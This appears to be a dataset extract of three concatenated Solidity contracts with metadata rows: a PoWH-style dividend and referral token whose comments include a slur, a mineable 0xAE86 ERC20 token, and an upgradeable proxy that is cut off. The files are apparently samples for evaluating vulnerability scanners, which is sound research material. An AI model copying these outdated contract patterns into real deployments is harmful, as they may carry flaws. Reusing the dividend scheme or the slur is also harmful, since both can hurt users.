uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 100e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 0.5 ether;
uint256 constant internal ambassadorQuota_ = 3 ether;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(address => bool) public administrators;
bool public onlyAmbassadors = true;
function ProofOfContractSnipers()
public
{
// add administrators here
administrators[0x5d4E9E60C6B3Dd2779CA1F374694e031e2Ca2557] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// (we dont want whale premines)
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 189,388 | 13,145 |
92d6acb313ec10abfee647d9134de70000a09285c220cd20ddb7ab34c9b00b75
| 28,331 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.6/0x55886834ca9bbca9f9e49ee188e878e094b7431c.sol
| 3,460 | 15,827 |
pragma solidity ^0.4.18;
//Project-D presents...
// ----------------------------------------------------------------------------
// 'HACHIROKU' token contract
// Mineable ERC20 Token using Proof Of Work
//
// Symbol : 0xAE86
// Name : HACHIROKU
// Total supply: 86,000,000
// Decimals : 8
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
library ExtendedMath {
//return the smaller of the two inputs (a or b)
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract _0xAE86Token is ERC20Interface, Owned {
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public latestDifficultyPeriodStarted;
uint public epochCount;//number of 'blocks' mined
uint public _BLOCKS_PER_READJUSTMENT = 100;
//a little number
uint public _MINIMUM_TARGET = 2**16;
//a big number is easier ; just find a solution that is smaller
//uint public _MAXIMUM_TARGET = 2**224; bitcoin uses 224
uint public _MAXIMUM_TARGET = 2**234;
uint public miningTarget;
bytes32 public challengeNumber; //generate a new one when a new reward is minted
uint public rewardEra;
uint public maxSupplyForEra;
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
bool locked = false;
mapping(bytes32 => bytes32) solutionForChallenge;
uint public tokensMinted;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function _0xAE86Token() public onlyOwner{
symbol = "0xAE86";
name = "HACHIROKU";
decimals = 8;
_totalSupply = 86000000 * 10**uint(decimals);
if(locked) revert();
locked = true;
tokensMinted = 860000 * 10**uint(decimals);
rewardEra = 0;
maxSupplyForEra = _totalSupply.div(2);
miningTarget = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
_startNewMiningEpoch();
//1% premine for the swap and future developement
balances[owner] = tokensMinted;
Transfer(address(0), owner, tokensMinted);
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {
bytes32 digest = keccak256(challengeNumber, msg.sender, nonce);
//the challenge digest must match the expected
if (digest != challenge_digest) revert();
//the digest must be smaller than the target
if(uint256(digest) > miningTarget) revert();
//only allow one reward for each challenge
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if(solution != 0x0) revert(); //prevent the same answer from awarding twice
uint reward_amount = getMiningReward();
balances[msg.sender] = balances[msg.sender].add(reward_amount);
tokensMinted = tokensMinted.add(reward_amount);
//Cannot mint more tokens than there are
assert(tokensMinted <= maxSupplyForEra);
//set readonly diagnostics data
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
Mint(msg.sender, reward_amount, epochCount, challengeNumber);
return true;
}
//a new 'block' to be mined
function _startNewMiningEpoch() internal {
//40 is the final reward era, almost all tokens minted
//once the final era is reached, more tokens will not be given out because the assert function
if(tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 39)
{
rewardEra = rewardEra + 1;
}
//set the next minted supply at which the era will change
// total supply is 8600000000000000 because of 8 decimal places
maxSupplyForEra = _totalSupply - _totalSupply.div(2**(rewardEra + 1));
epochCount = epochCount.add(1);
//every so often, readjust difficulty. Dont readjust when deploying
if(epochCount % _BLOCKS_PER_READJUSTMENT == 0)
{
_reAdjustDifficulty();
}
//do this last since this is a protection mechanism in the mint() function
challengeNumber = block.blockhash(block.number - 1);
}
//https://en.bitcoin.it/wiki/Difficulty#What_is_the_formula_for_difficulty.3F
//as of 2017 the bitcoin difficulty was up to 17 zeroes, it was only 8 in the early days
//readjust the target by 5 percent
function _reAdjustDifficulty() internal {
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
//assume 360 ethereum blocks per hour
//we want miners to spend 1 minutes to mine each 'block', about 6 ethereum blocks = one 0xAE86 epoch
uint epochsMined = _BLOCKS_PER_READJUSTMENT; //256
uint targetEthBlocksPerDiffPeriod = epochsMined * 6; //should be 6 times slower than ethereum
//if there were less eth blocks passed in time than expected
if(ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod)
{
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div(ethBlocksSinceLastDifficultyPeriod);
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000);
//make it harder
miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra)); //by up to 50 %
}else{
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div(targetEthBlocksPerDiffPeriod);
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); //always between 0 and 1000
//make it easier
miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra)); //by up to 50 %
}
latestDifficultyPeriodStarted = block.number;
if(miningTarget < _MINIMUM_TARGET) //very difficult
{
miningTarget = _MINIMUM_TARGET;
}
if(miningTarget > _MAXIMUM_TARGET) //very easy
{
miningTarget = _MAXIMUM_TARGET;
}
}
//this is a recent ethereum block hash, used to prevent pre-mining future blocks
function getChallengeNumber() public constant returns (bytes32) {
return challengeNumber;
}
//the number of zeroes the digest of the PoW solution requires. Auto adjusts
function getMiningDifficulty() public constant returns (uint) {
return _MAXIMUM_TARGET.div(miningTarget);
}
function getMiningTarget() public constant returns (uint) {
return miningTarget;
}
//86m tokens total
//reward begins at 86 and is cut in half every reward era (as tokens are mined)
function getMiningReward() public constant returns (uint) {
//once we get half way thru the coins, only get 43 per block
//every reward era, the reward amount halves.
return (86 * 10**uint(decimals)).div(2**rewardEra) ;
}
//help debug mining software
function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
return digest;
}
//help debug mining software
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
if(uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
| 210,211 | 13,146 |
a56110317ee4cad77f6a646ae28f1a1b001906621342f09edbacad54c6ac208d
| 26,055 |
.sol
|
Solidity
| false |
468407125
|
tintinweb/smart-contract-sanctuary-optimism
|
5f86f1320e8b5cdf11039be240475eff1303ed67
|
contracts/mainnet/05/053Ba886857DbFAE1Fb0Ee91EA1A17555EcfBaA6_TransparentUpgradeableProxy.sol
| 2,924 | 11,284 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback () external payable virtual {
_fallback();
}
receive () external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {
}
}
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(newImplementation,
abi.encodeWithSignature("upgradeTo(address)",
oldImplementation));
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon),
"ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
}
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
interface IBeacon {
function implementation() external view returns (address);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
